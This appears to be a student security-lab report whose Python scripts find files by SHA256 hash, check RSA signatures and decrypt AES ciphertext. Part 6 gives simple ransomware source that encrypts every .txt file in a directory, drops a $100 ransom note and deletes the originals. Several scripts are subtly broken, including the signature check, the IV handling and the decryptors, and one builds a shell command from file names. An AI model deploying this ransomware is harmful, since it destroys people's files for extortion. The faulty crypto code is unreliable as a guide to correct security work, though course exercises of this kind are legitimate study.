CSE3140 — Lab 3

Mike Medved, Benny Chen

October 8th, 2022

Deliverables

Part 1

In order to find the file with the matching SHA256 checksum, we wrote a short Python script to iterate through all files in *Q1files* and report their checksums:

```
import os

h = "04ebf0f4fe539ed72643bd01546aeaf372fdc1bd558e92afcc8c6078d4e5becd"

print(f"Looking for matches: {h}")

for file in os.listdir("./Q1files"):
    if os.path.isfile(os.path.join("./Q1files", file)):
        sha256sum = os.system("sha256sum " + os.path.join("./Q1files", file))
```

This script found that *disesteem.exe* had the matching checksum that was in our *Q1hash* file.

Part 2

In order to find the file with the matching SHA256 checksum, we very slightly modified the Python script from Part 1 to stop and report which file actually matches the checksum. The script is shown below:

```
import os
import subprocess

h = "5c01e943db42684800123d6b1598c7e9efbc8e9050becaec1c4536f6e1c50907"

for file in os.listdir("./Q2files"):
    if os.path.isfile(os.path.join("./Q2files", file)):
        sha256sum = subprocess.check_output(["sha256sum", os.path.join("./Q2files", file)])
        if h in sha256sum.decode("utf-8"):
            print(f"Hash matches file {file}")
            break
```

The script found that *appelidage.exe* had the matching checksum that was in our *Q2hash* file.

Part 3

In order to find the file correctly signed with the given private key, we wrote a short Python script to iterate through all files in *Q3files*, and verify each of their signatures against the known public key's signature. The script is shown below:

```
import os
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA
from Crypto.Signature import PKCS1_v1_5

key = RSA.import_key(open("./PublicKey.pem", "rb").read())

for file in os.listdir("./Q3files"):
    if os.path.isfile(os.path.join("./Q3files", file)):
        with open(os.path.join("./Q3files", file), "rb") as f:
            data = f.read()
        digest = SHA256.new(data)
        try:
            PKCS1_v1_5.new(key).verify(digest, data)
            print(f"Signature match: {file}")
            break
        except (ValueError, TypeError):
            print(f"Signature does not match file {file}")
```

The script found that *monoclinic.exe.sign* was signed with the given private key, and by extension *monoclinic.exe* was the signed binary associated with the given signatures files.

Part 4

In order to decrypt the given ciphertext, we wrote a short Python script which utilized the given AES encryption key in order to decrypt the file using the PyCryptodome module. The script is shown below:

```
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Random import get_random_bytes

file_in = open('encrypted4.txt', 'rb')
iv = file_in.read(16)
original_data = file_in.read()
file_in.close()
file_in = open('.key.txt', 'rb')
variable = file_in.read()
file_in.close()

cipher = AES.new(variable, AES.MODE_CBC, iv=iv)
ciphered_data = cipher.decrypt(original_data)
print(ciphered_data)

file_out = open('Q4a', "wb")
file_out.write(cipher.iv)
file_out.write(ciphered_data)
file_out.close()
```

The decrypted contents of the file are shown below:

```
triumphum
rougish
```

Part 5

```
import os
import sys
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA
from Crypto.Signature import PKCS1_v1_5
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Random import get_random_bytes

file_in = open('e2e2.txt', 'rb')
iv = file_in.read()

original_data = file_in.read()
file_in.close()

file_in = open('.key.txt', 'rb')
variable = file_in.read()
file_in.close()

cipher = AES.new(b'\xb9E\xbd\xce\xaa\xb1F\x13L\xb6q\x9b\x86U~\xe4', AES.MODE_CBC, iv=iv)
ciphered_data = cipher.decrypt(original_data)
print(ciphered_data)
```

Part 6

All of the components for Question 6 can be found below:

Part A

```
import os
import sys
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA
from Crypto.Signature import PKCS1_v1_5
from Crypto.Cipher import PKCS1_OAEP


if __name__ == "__main__":
    key = RSA.generate(2048)
    private_key = key.export_key()
    file_out = open("d.key", "wb")
    file_out.write(private_key)
    file_out.close()
    public_key = key.publickey().export_key()
    file_out = open("e.key", "wb")
    file_out.write(public_key)
    file_out.close()
```

Part B

```
import os
import sys
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA
from Crypto.Signature import PKCS1_v1_5
from Crypto.Cipher import PKCS1_OAEP

if __name__ == "__main__":
    public_key = RSA.import_key(open("e.key").read())
    count = 0

    # Read each file in the current directory that ends with .txt and encrypt it
    for file in os.listdir():
        if file.endswith(".txt"):
            # Read the file
            file_in = open(file, "rb")
            message = file_in.read()
            file_in.close()

            # Encrypt the file
            encryptor = PKCS1_OAEP.new(public_key)
            encrypted = encryptor.encrypt(message)

            # Write the encrypted file
            file_out = open(file + ".encrypted", "wb")
            file_out.write(encrypted)
            file_out.close()

            # Write the note
            file_out = open(file + ".note", "w")
            file_out.write("This is a ransom note. Pay $100 to get your file back.")
            file_out.close()

            # Write a unique identifier number to the file
            file_out = open(file + ".ID", "w")
            file_out.write(str(count))
            file_out.close()

            # Delete the original file
            os.remove(file)
            count += 1
```

Part C

```
import os
import sys
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA
from Crypto.Signature import PKCS1_v1_5
from Crypto.Cipher import PKCS1_OAEP

if __name__ == "__main__":
    file_in = open("d.key", "rb")
    private_key = RSA.import_key(file_in.read())
    file_in.close()

    # Read the identifier input
    identifier = sys.argv[1]

    # Decrypt the identifier
    decryptor = PKCS1_OAEP.new(private_key)

    # Find the file with the identifier
    for file in os.listdir():
        if file.endswith(".ID"):
            file_in = open(file, "r")
            message = file_in.read()
            file_in.close()
            if message == identifier:
                # Decrypt the identifier
                decrypted = decryptor.decrypt(message)
                print(decrypted)
                break
```

Part D

```
import os
import sys
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA
from Crypto.Signature import PKCS1_v1_5
from Crypto.Cipher import PKCS1_OAEP

if __name__ == "__main__":
    encrypted = sys.argv[1]

    decryption_key = sys.stdin.read()

    decryptor = PKCS1_v1_5.new(decryption_key)
    decrypted = decryptor.decrypt(encrypted, None)

    file_out = open(sys.argv[1].replace(".encrypted", ""), "wb")
    file_out.write(decrypted)
    file_out.close()
```